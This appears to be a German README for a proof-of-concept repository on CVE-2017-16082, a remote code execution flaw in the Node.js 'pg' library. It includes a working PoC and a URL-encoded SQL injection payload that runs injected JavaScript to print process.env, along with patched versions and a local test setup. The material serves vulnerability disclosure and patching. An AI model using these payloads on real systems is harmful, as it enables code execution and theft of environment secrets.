CVE-2017-16082

CVE-2017-16082

Überblick

Betroffene Versionen von pg enthalten eine Schwachstelle zur Remotecodeausführung, die auftritt, wenn die entfernte Datenbank oder Abfrage einen manipulierten Spaltennamen angibt.

Es gibt zwei spezifische Szenarien, in denen eine Anwendung wahrscheinlich anfällig ist:

1. Die Anwendung führt unsichere, benutzerbereitgestellte SQL-Befehle aus, die bösartige Spaltennamen enthalten.
2. Die Anwendung verbindet sich mit einer nicht vertrauenswürdigen Datenbank und führt eine Abfrage aus, die Ergebnisse mit einem bösartigen Spaltennamen zurückgibt.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Behebung

• Version 2.x.x: Aktualisieren Sie auf Version 2.11.2 oder höher.
• Version 3.x.x: Aktualisieren Sie auf Version 3.6.4 oder höher.
• Version 4.x.x: Aktualisieren Sie auf Version 4.5.7 oder höher.
• Version 5.x.x: Aktualisieren Sie auf Version 5.2.1 oder höher.
• Version 6.x.x: Aktualisieren Sie auf Version 6.4.2 oder höher. ( Beachten Sie, dass die Versionen 6.1.6, 6.2.5 und 6.3.3 ebenfalls gepatcht sind. )
• Version 7.x.x: Aktualisieren Sie auf Version 7.1.2 oder höher. ( Beachten Sie, dass Version 7.0.2 ebenfalls gepatcht ist. )

Lokaler Test 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

Senden Sie eine Anfrage an localhost:5000/api/v1/users?id=1 Ergebnis

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

Senden Sie nun eine Anfrage mit einem Payload wie diesem 1;SELECT 1 AS "\']=0;console.log(process.env)//" und codieren Sie es mit einem URL-Encoder.

Endgültige URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

Überprüfen Sie den Terminal-Server.